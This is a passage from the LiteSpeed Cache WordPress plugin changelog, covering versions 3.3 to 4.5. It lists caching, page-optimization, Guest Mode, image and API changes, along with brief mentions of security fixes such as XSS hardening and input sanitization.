* **Cache** Guest Mode now respects Cache Excludes settings.
* **GUI** Added warning notice when enabling `Localize Resources` feature; each localized JS resource requires thorough testing!
* **GUI** Fixed a PHP Deprecated warning that occurred with the Mobile Cache User Agent setting on PHP v8.1+. (jrmora)
* **Conf** Removed Google related scripts from default `Localization Files` value.
* **Media** WordPress core Lazy Load feature is now automatically disabled when LiteSpeed Lazy Load Images option is enabled. (VR51 #Issue440)
* 🐞**API** Filter `litespeed_ucss_per_pagetype` for UCSS now also applies to CSS Combine to avoid UCSS failure. (Ankit)
* **API** Added a filter `litespeed_media_ignore_remote_missing_sizes` to disable auto detection for remote images that are missing dimensions. (Lucas)

= 4.5.0.1 - Feb 24 2022 =
* 🔥🐞**Media** Fixed an issue where lazy-loaded images would disappear when using custom CSS image loading effects.

= 4.5 - Feb 23 2022 =
* 🌱**Page Optimize** Localization is back.
* **Guest** Fixed organic traffic issue as different browsers may fail to set `document.referrer`.
* **Image Optimize** Improved wp_postmeta table compatibility when gathering images. (Thanks to Thomas Stroemme)
* 🐞**Page Optimize** Fixed a potential CSS/JS 404 issue for existing records that have been marked as expired.
* **ESI** `LITESPEED_ESI_OFF` now affects `litespeed_esi_url` API filter too.
* **Guest** Added a check to determine if Guest Mode is blocked by a third-party, and display warning if it is (Ruikai)
* **Guest** To support WP sites with multiple domains, Guest Mode detection URL no longer uses domain.
* **Report** Network now shows Toolbox page when having a large number of subsites.
* **DB Optimize** Reduced default subsites count from 10 to 3 under Network Admin -> DB Optimize page to avoid timeout.
* **Cloud** Fixed potential `lack_of_token` error when requesting domain key for cases where local summary value was not historically included in the array.
* **Cloud** Fixed a PHP fatal error that occurred when encountering a frequency issue under CLI. (Dean Taylor #Issue410)
* **Avatar** Force gravatar cache refresh in browsers and on CDN (rafaucau #PR430)
* **API** New filter `litespeed_purge_ucss` to purge a single page UCSS. (#376681)
* **API** New filter `litespeed_ucss_per_pagetype` for UCSS per page type generation. (Ankit)
* **GUI** Replaced some GUI text and settings with more inclusive language  (kebbet #PR437 #PR435)
* **3rd** Excluded `WP Statistics` from inline JS optimize. (Ryan D)
* **3rd** Added API filter `litespeed_3rd_aelia_cookies` for Aelia CurrencySwitcher.
* **Media** Updated image lazyload library to 17.5.0.

= 4.4.7 - Jan 11 2022 =
* **Page Optimize** Dropped `Inline Lazy Load Images Library` option. Now will always inline lazyload library. (Ankit)
* **3rd** Prevented JavaScript files from being appended to Rank Math SEO sitemap.
* **Purge** Dropped default stale purge when purging a post.
* **Cloud** Dropped unused API calls.
* **Cloud** Dropped redundant IP validation in API calls.

= 4.4.6 - Dec 27 2022 =
* **Guest** Restored `document.referrer` for organic traffic purposes when Guest Mode is enabled. (michelefns)
* **Image Optimize** Fixed a potential PHP notice when uploading images in WP w/ PHP7.4+. (titsmaker)
* **ESI** Fixed an issue where ESI settings were not updated on customized widgets(#422 Abe)
* **3rd** Reverted ESI Adminbar change on Elementor front pages for backward compatibility (#423 Abe)
* **3rd** Fixed an issue where disabling ESI potential caused a PHP warning when using `Perfmatters`. (Jeffrey Zhang)
* **Misc** Check whether HTTP_REFERER is set or not before using it in Router class. (#425 Abe)

= 4.4.5 - Dec 1 2021 =
* **Data** Fixed potential PHP notice when generating CSS/JS optimized files w/ PHP v7.4+. (Sarah Richardson/silencedgd/slr1979)
* **API** Added `LITESPEED_ESI_OFF` constant to disable ESI, when defined before the WP `init` hook.
* **API** Added `LSCWP_DEBUG_PATH` constant to specify debug log path. (khanh-nt)
* 🐞**GUI** Fixed an issue where admin messages were not displayed. (Daniel McD)
* **CDN** Used WP remote function to communicate w/ Cloudflare per WP guidance.
* **3rd** Added compatibility for Perfmatters plugin's script manager (#417 Abe)
* **3rd** Added compatibility for Elementor's Editor button when ESI is on (#418 Abe)

= 4.4.4 - Nov 23 2021 =
* **Page Optimize** Delay deletion of outdated CSS/JS files for a default of 20 days to avoid 404 errors with cached search engine copies.
* **Cache** When caching, no longer send a purge request for CSS/JS removal to avoid cache engine conflicts.
* 🐞**Core** Optimized SQL queries while autoloading if expected options are missing; reduced by 7 and 3 queries on backend and frontend respectively. (#396425 Jackson)
* **Page Optimize** Fixed a 404 issue that occurred when upgrading the plugin manually, with a package upload or through the plugin manager. (Tobolo/Małgorzata/Abe)
* **API** Added `litespeed_ccss_url` and `litespeed_ucss_url` API to manipulate the request URL for CCSS and UCSS.
* **REST** Fixed a potential warning when detecting cacheable status on REST call. (rafaucau)
* **OLS** Fixed an issue where the `COOKIEHASH` constant was undefined when used with OpenLiteSpeed as an MU plugin or with network activation.
* **3rd** Sanitized POST data for nextgengallery.
* **Cloud** Sanitized GET data when linking to QUIC.cloud. (#591762 WPScan)

= 4.4.3 - Oct 13 2021 =
* 🐞**Media** Fixed an issue where WebP is served erroneously under Guest Mode on older versions of Safari. (hash73)
* 🐞**Media** Reverted regex change to fix `Lazy Load Image Parent Class Name Excludes` failure. (thpstock)
* **Purge** Disabled `Purge Delay` in the optimization process by default.
* **Conf** Dropped `.htaccess Path Settings` options for security concern. (WP)
* **Conf** Dropped `CSS HTTP/2 Push`/`JS HTTP/2 Push` options. (Kevin)
* **Conf** Set `Guest Optimization` default to OFF.
* **Conf** Set `CCSS Per URL` default to OFF to avoid consuming more quota than intended after upgrade to v4. (n111)
* **Object** Fixed an issue with Object Cache warnings during upgrade, when Guest Mode is enabled.
* ☁️**Cloud** Fixed an issue with PHP notices when inquiring about quota usage for a service not currently in use.
* **GUI** Added GO detail warning. (n111)
* **GUI** Moved "quota will be still in use" warning from Guest Mode to Guest Optimization section.
* **API** Added `LITESPEED_CFG_HTACCESS` PHP Constant to specify .htaccess path.
* **API** Added `litespeed_qs_forbidden` hook to bypass `?LSCWP_CTRL=` query string. (minhduc)
* **API** Added `litespeed_delay_purge` hook to delay the following Purge header until the next request.
* **API** Added `litespeed_wpconfig_readonly` hook to disable `WP_CACHE` constant update based on the wp-config.php file. (#633545)

= 4.4.2 - Sep 23 2021 =
* **Purge** In order to clear pages containing 404 CSS/JS, the purge header will always be sent even in cases where purge must be delayed.
* 🐞**Purge** Fixed a potential PHP warning caused when generating different optimized filenames.
* **Cron** Dropped unnecessary HTML response in cron which sometimes resulted in wp-cron report email. (Gilles)
* **Page Optimize** Purge caused by CSS/JS file deletion will now be silent.
* **Page Optimize** Fixed an issue where the homepage failed to purge when addressing the 404 CSS/JS issue.
* **Avatar** Fixed potential localized Avatar folder creation warning. (mattk0220/josebab)
* **API** Added filter `litespeed_optm_html_after_head` to move all optimized code(UCSS/CCSS/Combined CSS/Combined JS) to be right before the `</head>` tag. (ducpl/Kris Regmi)
* **Debug** Under debug mode, cache/purge tags will be plaintext.

= 4.4.1 - Sep 16 2021 =
* 🐞**ESI** Fixed ESI failure on non-cached pages caused by `DONOTCACHEPAGE` constant.
* 🐞**Page Optimize** Fixed an issue where the minified CSS/JS file failed to update when the file was changed. (ceap80)
* 🐞**Page Optimize** Fixed an issue where the combined CSS/JS file randomly returned a 404 error when visiting the same URL with different query strings. (Abe)
* **API** Added `litespeed_const_DONOTCACHEPAGE` hook to control the cache-or-not result of the `DONOTCACHEPAGE` constant.

= 4.4 - Sep 8 2021 =
* 🌱**Crawler** Added the ability to enable or disable specific crawlers. (⭐ Contributed by Astrid Wang #PR390)
* 🌱**UCSS** Added `UCSS Inline` option. (Ankit).
* 🌱**UCSS** Added `UCSS URI Excludes` option. (RC Verma).
* 🐞**Page Optimize** Fixed an issue where combined CSS/JS files would potentially return 404 errors after a Purge All. (Special thanks to Abe & Ruikai)
* **Page Optimize** Minimized the potential for 404 errors by query string when Purging All.
* **Page Optimize** Dropped redundant query strings for minified CSS/JS files.
* **Conf** Ugrade configuration safely to avoid the issue of new functions not being found in old codebase.
* **Conf** Configuration upgrade process now adds a notification to admin pages and disables configuration save until upgrade is complete. (Lisa)
* **JS** Fixed an issue where JS Defer caused a `litespeed_var_1_ is not defined` error when enabled w/ ESI options. (Tobolo)
* 🐞**JS** Fixed an issue where `JS Delay` doesn't work for combined JS when `JS Combine` is enabled. (Special thanks to Joshua & Ankit)
* **JS** `JS Delay` now will continue loading JS, even if there is an error in the current JS loading process.
* 🐞**CCSS** If CCSS fails to generate, Load CSS Asynchronously will now be disabled. (Stars #54074166)
* 🐞**UCSS** If UCSS generation fails the generated error will no longer be served inside the file. (Ryan D)
* **Log** Updated the Debug log to use less code for prefix.
* **3rd** Always respect `DONOTCACHEPAGE` constant definition to fix DIVI dynamic css calculation process.

= 4.3 - Aug 16 2021 =
* **UCSS** Separated UCSS Purge from CCSS Purge. (⭐ Contributed by Alice Tang #PR388)
* 🐞**Cloud** Fixed an issue where CCSS/UCSS quota data failed to update locally.
* **Cloud** Added server load as a factor when detecting node availability.
* **Cloud** Improved the speed of checking daily quota and showing the related error message.
* **Cloud** Added ability to re-detect node availability if the current node is responding w/ a heavy load code.
* **Cloud** CCSS/UCSS/LQIP queue now exits immediately when quota is depleted.
* **Cloud** Replaced separate `d/regionnodes` with a single `d/nodes` in the node list API for image optimization.
* **LQIP** Fixed an issue with LQIP network compatibility. (⭐ Contributed by Alice Tang #PR387)
* **GUEST** JS no longer preloads for Guest Optimization. (Ankit)
* 🐞**Data** Fixed an issue where deleting the `cssjs` data folder causes a failure in the upgrade process. (Joshua #PR391)
* **GUI** Fixed a potential dashboard PHP warning when no queue existed. (jrmora)
* **GUI** Added daily quota on dashboard.
* **GUI** Added downgrade warning to Toolbox -> Beta Test.
* **GUI** Tuned `.litespeed-desc` class to full width in CSS.
* **Conf** `Preserve EXIF/XMP data` now defaults to ON due to copyright concerns. (Tobolo)
* 🐞**3rd** Fixed a PHP warning when using Google AMP w/ /amp as structure. (thanhstran98)

= 4.2 - Jul 29 2021 =
* **Cloud** Auto redirect to a new node if the current node is not available anymore.
* **Cloud** Combined CCSS/UCSS to sub services of Page Optimization.
* **Cloud** Added a daily quota rate limit to help mitigate the heavy service load at the beginning of the month.
* **Cloud** Cached the node IP list in order to speed up security check. (Lucas)
* 🐞**GUEST** Fixed an issue where Guest Mode remained enabled even when the UA setting is empty. (Stars)
* **GUEST** Guest Mode will no longer cache POST requests.
* **UCSS** Purging CSS/JS now purges the UCSS queue as well, to avoid failure when generating UCSS.
* **UCSS** Separated service entry `UCSS` from `CCSS`.
* **CCSS** Simplified `load_queue/save_queue/build_filepath_prefix` functions. (⭐ Contributed by Alice Tang #PR373)
* **CCSS** If CCSS request fails, details are now saved in the CSS file.
* **CCSS** Renamed CCSS ID in inline HTML from `litespeed-optm-css-rules` to `litespeed-ccss`. (Alice)
* **Page Optimize** CCSS/UCSS now supports Cloud queue/notify for asynchronous generation.
* **Page Optimize** Simplified CCSS/UCSS generation function.
* **Page Optimize** Added the ability to cancel CCSS/UCSS Cloud requests.
* **Page Optimize** Unnecessary quesry strings will now be dropped from CSS/JS combined files.
* **Crawler** Reset position now resets crawler running status too.
* **REST** Cloud request to REST will now detect whether an IP in in the Cloud IP list for security reasons.
* **Object** Enhanced Object Cache compatibility for `CONF_FILE` constant detection.
* **API** Added shorter alias `litespeed_tag` and other similar aliases for Cache Tag API.
* **API** Renamed `LITESPEED_BYPASS_OPTM` to `LITESPEED_NO_OPTM` for Page Optimization.
* **Toolbox** Dropped v3.6.4- versions in Beta Test as they will cause a fatal error in downgrade.
* **GUI** Added shortcut links to each section on the Dashboard.
* **GUI** Added UCSS whitelist usage description. (wyb)
* **GUI** Showed the default recommended values for Guest Mode UA/IPs.
* **3rd** Fixed AMP plugin compatibility. (⭐ Contributed by Alice Tang #PR368)
* **3rd** Bypassed all page optimization including CDN/WebP for AMP pages.
* **3rd** Improved compatibility with All in One SEO plugin sitemap. (arnaudbroes/flschaves #Issue372)
* **3rd** Added wsform nonce. (#365 cstrouse)
* **3rd** Added Easy Digital Download (EDD) & WP Menu Cart nonce. (#PR366 AkramiPro)
* **3rd** Improved compatibility w/ Restrict Content Pro. (Abe #PR370)
* **3rd** Improved compatibility w/ Gravity Forms. (Ruikai #371)

= 4.1 - Jun 25 2021 =
* 🌱**UCSS/CCSS/LQIP** Moved queue storage to file system from database wp-options table to lessen the IO load. (#633504)
* 🌱**3rd** Added an option to disable ESI for the WooCommerce Cart. (#358 Anna Feng/Astrid Wang)
* **ESI** Fixed an ESI nonce issue introduced in v4.0. (Andrew Choi)
* **Object** Used new `.litespeed_conf.dat` instead of `.object-cache.ini` for object cache configuration storage.
* **Conf** Now updating related files after plugin upgrade and not just after activation.
* 🌱**Guest** Added a Guest Mode JS Excludes option. (Ankit/Mamac/Rcverma)
* **Guest** Guest Mode now uses a lightweight script to update guest vary for reduced server load.
* **Guest** Guest Mode now adds missing image dimensions.
* **Guest** Guest vary will no longer update if there's already a vary in place to address the infinite loop caused by CloudFlare's incorrect cache control setting for PHP.
* **Guest** Guest vary update request will no longer be sent if `lscache_vary` is already set.
* **Guest** Added a Configurable Guest Mode UA/IP under the Tuning tab in the General menu.
* **Guest** Guest Mode now allows cron to be hooked, even when UCSS/CCSS options are off. (#338437 Stars)
* **Guest** Simplified the vary generation process under Guest Mode.
* **Guest** Added a Guest Mode HTML comment for easier debugging. (Ruikai)
* **Guest** Guest vary update ajax now bypasses potential POST cache.
* **CCSS** Added back the options `Separate CCSS Cache Post Types` and `Separate CCSS Cache URIs`. (Joshua/Ankit)
* **CCSS** CCSS/UCSS queue is now limited to a maximum of 500 entries.
* **Control** The cache control constant `LSCACHE_NO_CACHE` will now have a higher priority than the Forced Public Cache setting.
* **Crawler** The Crawler can now crawl Guest Mode pages.
* **Crawler** Fixed a potential XSS vulnerability in the Crawler settings. (#927355)
* **Crawler** The Crawler now supports a cookie value of `_null`. (Tobolo)
* **Media** Updated the default value for the Responsive Placeholder SVG to be transparent.
* **Media** WebP images in the background may now be served in Guest Mode.
* **Media** WebP images in CSS may now be bypassed if the requesting Guest Mode client doesn't support WebP.
* **Media** Fixed empty default image placeholder under Guest Mode.
* 🐞**Image Optimize** Changed the missing `$_POST` to `$post_data` so the database status is properly updated. (#345 Lucas)
* **Import** Export file is now readable to allow importing of partial configurations. (Ryan D/Joshua)
* **Page Optimize** Fixed W3 validator errors in Guest Mode. (#61393817)
* **3rd** A fatal WooCommerce error is no longer triggered by a custom theme reusing a previous LSCWP cache detection tag.
* **3rd** AMP may now bypass Guest Mode automatically.
* **Localize** Dropped the `Localize Resources` option as Guest Mode is a sufficient replacement. (Note: Due to user feedback during the development period, we have decided to reinstate this option in a future version.)
* **Cloud** Changed the WP API url.
* **Lang** Corrected a missing language folder.
* **GUI** Added a CCSS/UCSS loading page visualization. (⭐ Contributed by Astrid Wang & Anna Feng #PR360)
* **GUI** Added a warning to indicate when Guest Mode CCSS/UCSS quota is in use. (Contributed by Astrid Wang & Anna Feng #PR361)
* **GUI** Added a `litespeed-info` text color. (Astrid Wang)
* **GUI** Implemented various UI/UX improvements. (Joshua/Lisa)
* **GUI** Duplicate cloud service messages with the same content will only display once now. (Marc Dahl)
* **GUI** Added a WebP replacement warning for Guest Mode Optimization if WebP replacement is off.
* **Misc** Dropped `wp_assets` from distribution to reduce the package size. (lowwebtech)
* **Misc** Increased the new version and score detection intervals.
* **Misc** Optimized WP Assets images. (#352 lowwebtech)
* **Debug** Dropped the redundant error_log debug info.

= 4.0 - Apr 30 2021 =
* 🌱🌱🌱**Guest** Introduced `Guest Mode` for instantly cacheable content on the first visit.
* 🌱**UCSS** Added a new service: `Unique CSS`, to drop unused CSS from elements from combined CSS
* 🌱**CCSS** Added `HTML Lazyload` option. (Ankit)
* 🌱**CCSS** Added `CCSS Per URL` option to allow Critical CSS to be generated for each page instead of for each Post Type.
* 🌱**Media** Added `Add Missing Sizes` setting for improving Cumulative Layout Shift. (Fahim)
* 🌱**JS** Switched to new JS minification library for better compression and compatibility w/ template literals. (LuminSol)
* **Media** WebP may now be replaced in CSS.
* **Media** Can now drop image tags in noscript to avoid lazyload. (Abe #314 /mattthomas-photography)
* **Media** Bypass optimization if a page is not cacheable.
* **Image Optimize** Auto hook to `wp_update_attachment_metadata` to automate image gathering process, and to handle the new thumbnail generation after images are uploaded. (smerriman).
* **Image Optimize** Repeated image thumbnails won't be gathered anymore.
* **Image Optimize** Simplified the rescan/gather/upload_hook for existing image detection.
* **Image Optimize** Fixed the duplicated optimize size records in the postmeta table. (Abe #315)
* **Image Optimize** Allow either JSON POST request or normal form request in `notify_img`. (Lucas #313)
* **Image Optimize** Optimized SQL query for better efficiency. (lucas/Lauren)
* **Image Optimize** Fixed issue where rescan mass created duplicate images. (#954399)
* **Image Optimize** Image optimization pie will not show 100% anymore if there is still a small amount in the unfinished queue.
* **Image Optimize** WebP generation defaults to ON for Guest Mode.
* **Image Optimize** `Priority Line` package now can have smaller request interval.
* **ESI** Disable ESI when page is not cacheable. (titsmaker)
* **ESI** Fixed an issue where Divi was disabling all in edit mode, but couldn't disable ESI. (Abe)
* **ESI** ESI init moved under `init` hook from `plugin_loaded` hook.
* **CDN** Add basic support for CloudFlare API Tokens (Abe #320)
* **CSS** Simplified `Font Display Optimization` option.
* **CSS** Fixed manual cron timeout issue. (jesse Distad)
* **CSS** Inline CSS may now use `data-no-optimize` to be excluded from optimization. (popaionut)
* **JS** Combined `Load JS Defer` and `Load Inline JS Defer` options.
* **JS** Forced async to defer.
* **JS** Moved Google Analytics JS from constant default to setting default for removal.
* **JS** Fixed potential JS parsing issue caused by JS src being changed to data-src by other plugins. (ankit)
* **JS** Excluded spotlight from JS optimize. (tobolo)
* **CCSS** Fixed CCSS/UCSS manual cron timeout issue.
* **CCSS** Only 10 items will be kept for CCSS history.
* **CCSS** The appearance of CCSS Purge in the topbar menu will be determined by the existence of CCSS cache, and not the setting only.
* **CCSS** To avoid stuck queues when the current request keeps failing, the CCSS queue will always drop once requested.
* **CCSS** CCSS will no longer hide adminbar.
* **CCSS** CCSS may now be separate for network subsites. (Joshua)
* **CCSS** Gave CCSS a unique filename per URL per user role per subsite.
* **CCSS** Dropped `Separate CCSS Cache Post Types` option.
* **CCSS** Dropped `Separate CCSS Cache URIs` option.
* **CCSS** Subsites purge Avatar/CSS/JS/CCSS will not affect the whole network anymore.
* **CCSS** Implemented a better queue list for CCSS that auto collapses if there are more than 20 entries, and shows the total on top.
* **CSSJS** Now using separate CSS and JS folders instead of `cssjs`.
* **CSSJS** Automatically purge cache after CCSS is generated.
* **Network** Dropped network CSS/JS rewrite rules.
* **Cache** Send cache tag header whenever adding a tag to make it effective in the page optimization process.
* **Core** Used hook for buffer optimization; Used `init()` instead of `constructor`.
* **Object** Used `cls` instead of `get_instance` for init.
* **Cloud** Replaced one-time message with a dismissible-only message when the domain key has been automatically cleared due to domain/key dismatch.
* **API** Dropped function `hook_vary_add()`.
* **API** Dropped function `vary_add()`.
* **API** Dropped function `filter_vary_cookies()`.
* **API** Dropped function `hook_vary()`.
* **API** Dropped action `litespeed_vary_add`.
* **API** Dropped filter `litespeed_api_vary`.
* **API** Use `litespeed_vary_curr_cookies` and `litespeed_vary_cookies` for Vary cookie operations instead.
* **API** Dropped action `litespeed_vary_append`.
* **Vary** 3rd party vary cookies will not append into .htaccess anymore but only present in response vary header if in use.
* **Vary** Dropped function `append()`.
* **Vary** Commenter cookie is now considered cacheable.
* **Crawler** Minor update to crawler user agent to accommodate mobile_detect.php (Abe #304)
* **Data** Added a table truncate function.
* **Data** Added new tables url & url_file.
* **Data** Dropped cssjs table.
* **Data** Options/Summary data is now stored in JSON format to speed up backend visit. (#233250)
* **Data** Default `CSS Combine External and Inline` and `JS Combine External and Inline` to On for new installations for better compatibility.
* **Purge** Fixed potential purge warning for certain themes.
* **Purge** Purge will be stored for next valid visit to trigger if it is initially generated by CLI.
* **Page Optimize** `CSS Combine`/`JS Combine` will now share the same file if the contents are the same. Limited disk usage for better file usage and fewer issues with random string problems.
* **Page Optimize** Dropped option CSS/JS Cache TTL.
* **Page Optimize** Bypass optimization if page not cacheable.
* **Page Optimize** Purge CSS/JS will purge the `url_file` table too.
* **Page Optimize** Optionally store a vary with a shorter value.
* **Page Optimize** Removing query strings will no longer affect external assets. (ankit)
* **Page Optimize** Better regex for optimization parsing.
* **Page Optimize** Eliminated w3 validator for DNS prefetch and duplicated ID errors. (sumit Pandey)
* **Page Optimize** New Optimization for Guest Only option under Tuning.
* **Page Optimize** Now forbidding external link redirection for localization.
* **Debug** Implemented a better debug format for the 2nd parameter in the log.
* **GUI** Bypass page score banner when score is not detected (both 0). (ankit)
* **GUI** Fixed deprecated JQuery function warning in WP-Admin. (krzxsiek)

= 3.6.4 - Mar 15 2021 =
* **Toolbox** Fixed Beta Test upgrade error when upgrading to v3.7+.

= 3.6.3 - Mar 10 2021 =
* **Core** Fixed potential upgrade failure when new versions have changes in activation related functions.
* **Core** Upgrade process won't get deactivated anymore on Network setup.

= 3.6.2 - Feb 1 2021 =
* **Page Optimize** Fixed an issue where network purge CSS/JS caused 404 errors for subsites.
* **Page Optimize** Fixed an issue where purge CSS/JS only caused 404 errors.
* **Page Optimize** Added a notice for CSS/JS data detection and potential random string issue.
* **Page Optimize** Limited localization resources to specified .js only. (closte #292/ormonk)
* **JS** Data src may now be bypassed from JS Combine. (ankit)
* **CLI** Fixed a message typo in Purge. (flixwatchsupport)
* **Browser** Added font/otf to Browser Cache expire list. (ruikai)
* **Data** Updated data files to accept PR from dev branch only.
* **3rd** Add data-view-breakpoint-pointer to js_excludes.txt for the Events Calendar plugin. (therealgilles)
* **Cloud** Bypassed invalid requests.
* **Doc** CDN Mapping description improvement. (mihai A.)

= 3.6.1 - Dec 21 2020 =
* **WP** Tested up to WP v5.6.
* **WebP** Reverted WebP support on Safari Big Sur and Safari v14.0.1+ due to an inability to detect MacOS versions from UA. (@antomal)
* **CDN** Dropped the option `Load JQuery Remotely`.
* **CDN** Fixed CDN URL replacement issue in optimized CSS files. (@ankit)
* **CDN** Fixed an issue where CDN CLI wouldn't set mapping image/CSS/JS to OFF when `false` was the value.
* **CDN** Started using React for CDN Mapping settings.
* **GUI** Secured Server IP setting from potential XSS issues. (@WonTae Jang)
* **Toolbox** Supported both dev and master branches for Beta Test. Latest version updated to v3.6.1.
* **Purge** Purge Pages now can purge non-archive pages too.
* **Admin** Simplified the admin JS.
* **Admin** Limited crawler-related react JS to crawler page only.

= 3.6 - Dec 14 2020 =
* 🌱**WebP** Added WebP support on Safari Big Sur or Safari v14.0.1+. (@ruikai)
* 🐞**Config** Fixed an issue where new installations were not getting the correct default .htaccess content.
* **Crawler** Will auto bypass empty sub-sitemap instead of throwing an exception. (@nanoprobes @Tobolo)
* **Crawler** Now using React for Cookie Simulation settings instead of Vue.js. Dropped Vue.js.
* **Crawler** Dropped `Sitemap Generation` (will only use 3rd party sitemap for crawler).
* **CSS** Added `CSS Combine External and Inline` option for backward compatibility. (@lisa)
* **Object** Forbid .object-cache.ini visits. (@Tarik)
* **Page Optimize** Dropped `Remove Comments` option to avoid combine error.
* **CSS** Added a predefined CSS exclude file `data/css_excludes.txt`.
* **CSS** Excluded Flatsome theme random inline CSS from combine.
* **CSS** Excluded WoodMart theme from combine. (@moemauphie)
* **Page Optimize** Excluded tagDiv.com Newspaper theme dynamic CSS/JS from CSS/JS Combine.
* **CSS** Added predefined JS defer excludes list. (@Shivam)
* **JS** `data-no-defer` option now supports inline JS. (@rafaucau)
* **Media** Lazyload inline library is now bypassed by JS Combine.
* **Admin** Fixed WP-Admin console ID duplicate warnings.
* **Cloud** Dropped QUIC.cloud sync options that have long been unused.
* **CSS** Dropped `Unique CSS File` option (UCSS will always generate unique file, will use whitelist to group post type to one CSS).
* **GUI** Dropped Help tab.
* **Toolbox** Added 3.5.2 to version list.

= 3.5.2 - Oct 27 2020 =
* **CSS** `CSS Combine` is now compatible w/ inline noscript CSS. (@galbaras)
* **GUI** Added ability to manually dismiss the JS option reset message in v3.5.1 upgrade process. (#473917)
* 🐞**CSS** `CSS Excludes` setting will no longer lose items beginning w/ `#`. (@ankit)
* **API** New `litespeed_media_reset` API function for image editing purposes. (@Andro)

= 3.5.1 - Oct 20 2020 =
* **JS** Inline JS containing nonces can now be combined.
* **JS** Reset JS Combine/Defer to OFF when upgrading to avoid breaking sites.
* **JS** Added new option JS Combine External and Inline to allow backwards compatibility.
* **JS** Added Inline JS Defer option back. (@ankit)
* **Page Optimize** Dropped Inline JS Minify option and merged the feature into JS Minify.
* **JS** Pre-added jQuery to the default JS excludes/defer list for better layout compatibility for new users.
* **JS** Excluded Stripe/PayPal/Google Map from JS optimization. (@FPCSJames)
* **JS** Allowed excluded JS to still be HTTP2 pushed. (@joshua)
* **CCSS** Critical CSS now can avoid network pollution from other sites. (@ankit)
* **Toolbox** Beta Test now displays recent public versions so it is easier to revert to an older version
* **Vary** Server environment variable Vary can now be passed to original server from QUIC.cloud for non-LiteSpeed servers.
* **ESI** Improved backward compatibility for ESI nonce list. (@zach E)
* 🐞**Misc** Fixed failure of upgrade button on plugin news banner and made cosmetic improvements.
* **Doc** Added note that LSCWP works with ClassicPress.

= 3.5.0.2 - Sep 30 2020 =
* This is a temporary revert fix. Code is SAME as v3.4.2.

= 3.5.0.1 - Sep 29 2020 =
* 🔥🐞**CSS** Fixed print media query issue when having CSS Combine. (@paddy-duncan)

= 3.5 - Sep 29 2020 =
* **Page Optimize** Refactored CSS/JS optimization.
* **Page Optimize** CSS and JS Combine now each save to a single file without memory usage issues.
* **CSS** Inline CSS Minify is now a part of CSS Minify, and will respect the original priorities. (thanks to @galbaras)
* **JS** JS Combine now generates a single JS file in the footer. (Special thanks to @ankit)
* **JS** JS Combine now combines external JS files, too. (Thanks to @ankit)
* **JS** JS Deferred Excludes now uses the original path/filename as keywords instead of the minified path/filename, when JS Minify is enabled.
* **JS** JS Combine now combines inline JS, too.
* **JS** JS Excludes may now be used for inline JS snippet.
* **Page Optimize** Inline CSS Minify and Max Combined File Size retired due to changes listed above.
* **CSS** Combined CSS Priority retired due to changes listed above.
* **JS** Exclude JQuery, Combined JS Priority, Load Inline JS Deferred, and Inline JS Deferred Excludes retired due to changes listed above.
* **JS** Predefined data file data/js_excludes.txt now available for JS Excludes.
* **ESI** Predefined data file data/esi.nonces.txt now available for ESI Nonces.
* **ESI** Remote Fetch ESI Nonces functionality retired.
* **API** Added support for new litespeed_esi_nonces filter.
* **Object** Object Cache will not try to reconnect after failure to connect in a single process.
* **CCSS** Remote read CSS will add the scheme if it is missing from the URL.
* **CCSS** CSS will no longer be prepared for a URL if 404 result is detected.
* **CCSS** Fixed most failures caused by third party CSS syntax errors.
* **CCSS** Remote read CSS will fix the scheme if the URL doesn't have it.
* **CCSS** Excluded 404 when preparing CSS before request.
* **CCSS** Adjusted CCSS timeout from 180 seconds to 30 seconds.
* **Image Optimize** Fixed the delete attachment database error that occurred when not using the image optimization service yet.
* **Media** Added iOS 14 WebP support.
* **Data** Fixed database creation failure for MySQL v8.
* **Cloud** Error code err_key will clear the domain key in order to avoid duplicate invalid requests.
* **Network** Fixed issue with object cache password file storage that occurred when resaving the settings. (#302358)
* **Misc** Fixed IP detect compatibility w/ Apache.
* **GUI** Fixed the description for Do Not Cache Categories.
* **Preload** Upgraded Instant Click to a new stable preload library. (@stasonua0)

= 3.4.2 - Sep 8 2020 =
* **CCSS** Corrected the issue that wrongly appended non-CSS files to CSS in links before sending request.
* **3rd** YITH wishlist now sends a combined single sub request for all widgets contained in one page. (LSWS v5.4.9 build 3+ required)
* **ESI** Added support for ESI combine feature.
* **GUI** Dropped banner notification for missing domain key when domain key is not initialized.
* **Log** When QC whitelist check fails, a detailed failure log is now appended.

= 3.4.1 - Sep 2 2020 =
* 🐞**CCSS** Fixed an issue where dynamically generated CSS failed with `TypeError: Cannot read property type of undefined`.
* 🐞**Page Optimize** Fixed CSS optimization compatibility for CSS dynamically generated with PHP.
* **Page Optimize** Added the ability to defer JS even when the resource is excluded from other JS optimizations. (@slr1979)
* **ESI** Added support for ESI last parameter inline value.
* **3rd** YITH Wishlist, when cached for the first time, will no longer send sub requests.

= 3.4 - Aug 26 2020 =
* 🌱**LQIP** New setting **LQIP Excludes**.
* 🌱**LQIP** Added a Clear LQIP Queue button.
* 🌱**CCSS** Added a Clear CCSS Queue button.
* **CCSS** Fixed an issue which wrongly included preloaded images in CCSS. (@pixtweaks)
* **Network** Primary site and subsite settings now display correctly.
* **Page Optimize** Noscript tags generated by LSCWP will only be dropped when the corresponding option is enabled. (@ankit)
* **DB Optimize** Fixed database optimizer conflicts w/ object cache transient setting. (#752931)
* **3rd** Fixed an issue with WooCommerce product purge when order is placed.
* **3rd** Improved WooCommerce product comment compatibility with **WooCommerce Photo Reviews Premium** plugin when using ESI.
* **CDN** Fixed Remote jQuery compatibility with WordPress v5.5. (@pixtweaks)
* **API** New API `litespeed_purge_all_object` and `litespeed_purged_all_object` action hooks.

= 3.3.1 - Aug 12 2020 =
* 🌱**Page Optimize** New option to Remove Noscript Tags. (@phuc88bmt)
* 🐞**LQIP** Fixed a critical bug that bypassed all requests in v3.3.
* **LQIP** Requests are now bypassed if domain has no credit left.
* **Page Optimize** Inline defer will be bypassed if document listener is detected in the code. (@ssurfer)
* **CCSS** Print-only styles will no longer be included in Critical CSS.
* **API** Added hooks to Purge action to handle file deletions. (@biati)
* **Cloud** Plain permalinks are no longer required for use of cloud services.
* **Data** Added an access denial to work with OpenLiteSpeed. (@spenweb #PR228)
* **GUI** Spelling and grammar adjustments. (@blastoise186 #PR253)

= 3.3 - Aug 6 2020 =
* 🌱**Page Optimize** Added a new setting, Inline JS Deferred Excludes. (@ankit)
* **Page Optimize** CSS/JS Combine/Minify file versions will be differentiated by query string hash instead of new filename to reduce DB/file system storage.
* **Page Optimize** Added the ability to use local copies of external JS files for better control over page score impacts.
* **Page Optimize** Improved combination of CSS media queries. (@galbaras)
